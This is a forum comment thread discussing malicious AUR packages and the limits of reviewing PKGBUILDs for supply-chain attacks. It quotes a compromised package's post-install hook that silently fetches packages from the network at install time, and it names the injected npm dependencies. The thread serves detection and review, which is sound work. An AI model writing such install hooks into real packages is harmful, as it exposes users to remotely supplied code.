Comment by codemac
7 days ago
> isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package
Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD.
The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing, they are very simple bash scripts. It'd be great if more people would donate resources to help verify and validate AUR scripts, but the AUR specifically exists for packages that the trusted users and devs of arch don't have time to personally maintain.
> The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing
Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is building and the full source code for any of its dependencies.
Hypothetical example: you wouldn't have caught the xzutils exploit by reading the PKGBUILD.
Right, the PKGBUILD only helps you review if you're installing what you intend to - not verifying if what you're installing contains any hacks.
This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.
No it wasn't? It ran npm install from post install script in another file. If they named it better people probably wouldn't have even noticed so quickly.
True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else).
[0] https://aur.archlinux.org/cgit/aur.git/commit/?h=pass-cli&id...
3 replies →
Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:
> install=toggldesktop-bin-deps.install
And the toggldesktop-bin-deps.install contains this:
> post_install() {{
> cd /tmp
> bun add axios uuid ora js-digest
> }}
Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
Exactly, these hacks really stand out to me, and used odd patterns (like .install files that just had 2-3 line post_install functions) etc.
Some things I try to check for
- sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.
- extensive post install scripts suggesting it's doing a lot more than is normal
But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
> like github repos that don't seem relevant
i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.
if someone setup a properly vetted LLM farm to donate local LLM resources, id give it ~8 hours a day on whatever model i have loaded.